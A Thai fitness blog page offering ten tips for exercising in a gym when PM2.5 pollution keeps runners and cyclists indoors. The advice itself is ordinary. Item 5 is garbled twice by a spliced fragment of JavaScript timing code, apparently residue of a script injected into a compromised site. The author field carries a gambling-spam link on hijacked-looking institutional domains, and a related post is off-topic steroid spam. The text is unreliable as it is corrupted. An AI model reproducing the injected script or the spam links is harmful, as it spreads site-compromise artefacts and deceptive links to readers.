• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Training

10 ทิปง่ายๆ ให้คุณลุยยิมอย่างมั่นใจ

kan by kan
15 February 2019
in Training
0
10 ทิปง่ายๆ ให้คุณลุยยิมอย่างมั่นใจ
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เพราะด้วยสภาพอากาศที่ไม่เป็นใจ สภาพฝุ่นละออง PM 2.5 ในอากาศมีสูงและเป็นอันตรายต่อร่างกายหากต้องอยู่ทำกิจกรรมข้างนอก แม้จะมีอุปกรณ์หน้ากากป้องกันก็ตาม เราจึงแนะนำให้ผู้ที่รักการออกกำลังกายทั้งนักวิ่งนักปั่นหันมาออกกำลังกายในยิม และเรามี 10 ทิปง่ายๆ ให้คุณลุยยิมได้อย่างมั่นใจ

10 ทิปง่ายๆ ให้คุณลุยยิมอย่างมั่นใจ

1. ชุดออกกำลังกาย ชุด trainner ประกอบด้วย เสื้อ (Top) และกางเกง (pants) แต่ต่างกับชุดวิ่งนิดหน่อยโดยเฉพาะส่วนของกางเกง เราแนะนำให้หาเสื้อแจ็คเก็ตติดไปด้วยหรือเสื้อกันลม เพราะโรงยิมบางที่เปิดแอร์หนาวมาก 

2. รองเท้า รองเท้าที่แนะนำให้พกพาไปจะมี 2 แบบ คือ รองเท้าสำหรับฝึกเทรนนิ่งและรองเท้าวิ่ง โดยรองเท้าเทรนนิ่งจะมีพื้นแบนราบจากหัวจรดท้าย ให้การฝึกเล่นเวทมีพื้นยืนที่มั่นคง เคลื่อนไหวได้รอบทิศ แต่รองเท้าวิ่งจะน้อมเอียงไปข้างหน้า เพื่อให้เราโน้มไปข้างหน้า ช่วยให้โมเมนตรัมพุ่งไปข้างหน้า หลังจากเล่นเวทแล้ว ค่อยเปลี่ยนรองเท้าวิ่ง  เพื่อฝึก cardio เพื่อเบริ์นไขมัน

3. ถุงเท้า ช่วยให้เท้ากับรองเท้ามีความกระชับมากขึ้น ช่วยรองรับน้ำหนัก ช่วยป้องกันเท้าพอง หรือ blister และจะช่วยเก็บกลิ่นเท้าด้วย

4. หูฟัง เพื่อเอาไว้ฟังเพลงฆ่าเวลา สำหรับการออกกำลังกายในยิม เราไม่ต้องระวัดระวังซ้ายขวาหน้าหลังมากนัก เป็นพื้นที่ปลอดภัย เวลาถ้าสามารถเลือกเพลงที่มี Beat สูงๆ เราก็จะเร่งจังหวะและความเข้มข้นตาม ช่วยสร้างความอึกเหริม เวลาออกกำลังกายไปจะได้มีกำลังใจ มีความมุ่งมั่น เว้นแต่คุณจะกับเพื่อนๆ ออกกำลังกายไปคุยไปก็เพลินดีเหมือนกัน

5. Sport Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and หรือนาฬิกา GPS ที่สามารถบันทึกข้อมูลการออกกำลังกายเราได้ ปัจจุบันมีแอพมือถือสำหรับใช้ออกกำลังกาย ช่วยเก็บสถิติให้อัตโนมัติ ตัวอย่างเช่น Endomondo, Strava และ Runtastic แถมเป็น personal coach ไปในตัว ปัญหาคือเวลาออกกำลังกายจะให้ถือมือถือตลอดเวลาก็ไม่สะดวก การมี Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and หรือนาฬิกาออกกำลังกายสักอัน จะช่วยให้คุณออกกำลังกายได้ง่ายมากขึ้น หรือจะเอาไปออกวิ่งก็ได้ด้วย

6. ผ้าเช็ดตัว  แนะนำอย่างน้อยให้พกไปสองผืน ผืนแรกใช้เช็ดเหงื่อและอีกผืนไว้อาบน้ำ ถ้ามีผืนเล็กอีกผืนจะดีมาก เพราะในโรงยิมมีเชื้อโรคพวกที่อยู่ในเหงื่อติดตามเบาะเก้าอี้และที่จับอุปกรณ์ต่างๆ เยอะเหมือนกัน ก่อนเล่นอุปกรณ์ชิ้นใดก็ควรเช็ดให้สะอาดก่อน และควรอาบน้ำหลังเล่นเสร็จเพื่อความสะอาดและลดกลิ่นตัว  

7. ถุงมือ สำหรับ Bodybuilder หรือนักเล่นกล้ามผู้ชื่นชอบการเล่นเวท ยกลูกตุ้ม ถุงมือเป็นอุปกรณ์คู่ใจที่ขาดไม่ได้ ช่วยป้องกันข้อมือให้อยู่เป็นที่เป็นทาง ช่วยยึดอุปกรณ์ให้เหนียวแน่นในมือไม่หลุดลื่นง่ายๆ

8. ขนมคบเคี้ยว พวกอาหารธัญญาพืช หรือธัญญาพืชผสมคาร์โบฯ กินก่อนออกกำลังกายจะช่วยให้พลังงาน ให้คุณออกได้นานขึ้นและไม่หิวเร็ว พวกอาหารรองท้องมื้อเล็กๆ และพวกน้ำผลไม้ต่างๆ 15-30 นาทีก่อนออกกำลังกายก็จะช่วยยืดเวลาออกกำลังกายได้นานขึ้น   

9. กุญแจ อย่าไว้ใจทาง อย่าวางใจคน ถ้ามีล็อกเกอร็ส่วนตัวจะดีมาก ของมีค่าต้องเก็บให้มิดชิด แต่ถ้าโรงยิมไม่มีล็อกเกอร์ให้ก็ใช้กระเป๋าเรานี้แหละ แล้วล็อกด้วยกุญแจ ตั้งไว้ให้ใกล้หูใกล้ตาด้วยนะ

10. อุปกรณ์ทำความสะอาดร่างกาย พวกเครื่องอาบน้ำต่างๆ เช่น สบู่ แชมพู น้ำหอมระงับกลิ่นกาย สมควรพกพาไปด้วย อย่าหวังว่าโรงยิมจะมีให้เราไหมดทุกอย่าง และไม่ควรยืมของใช้ส่วนตัวนี้กับใครยกเว้นคุณรู้จักเขาดีพอ แนะนำให้ใส่ในกล่องหรือถุงพลาสติกที่เปิดปิดได้

สุดท้ายก็อย่าลืมดื่มน้ำเป็นระยะนะครับ เพื่อรักษาระดับของเหลวในร่างกายและลดการเป็นตะคริว สำหรับใครที่ออกกำลังกายไม่เกินชั่วโมงน้ำเปล่าก็เพียงพอแล้วไม่ต้องดื่มพวกเครื่องดื่มเกลือแร่ก็ได้ เพราะอย่าลืมว่าเครื่องดื่มพวกนี้ก็มีน้ำตาลอยู่เหมือนกัน

อ้างอิง www.telegraph.co.uk/

ShareTweetShare
kan

kan

https://fisip.uhamka.ac.id/wp-content/uploads/-/akun-pro-jepang/http://simpulbaja.pemalangkab.go.id/dok_barang/products/situs-toto/

Related Posts

! Без рубрики

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • เกร็ดความรู้กับล้อจักรยาน

    เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • 10 อย่าง 1 วัน เตรียมตัวก่อนวิ่งมาราธอน (ฮาล์ฟก็ใช้ได้นะ)

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022

Browse by Category

  • ! Без рубрики
  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.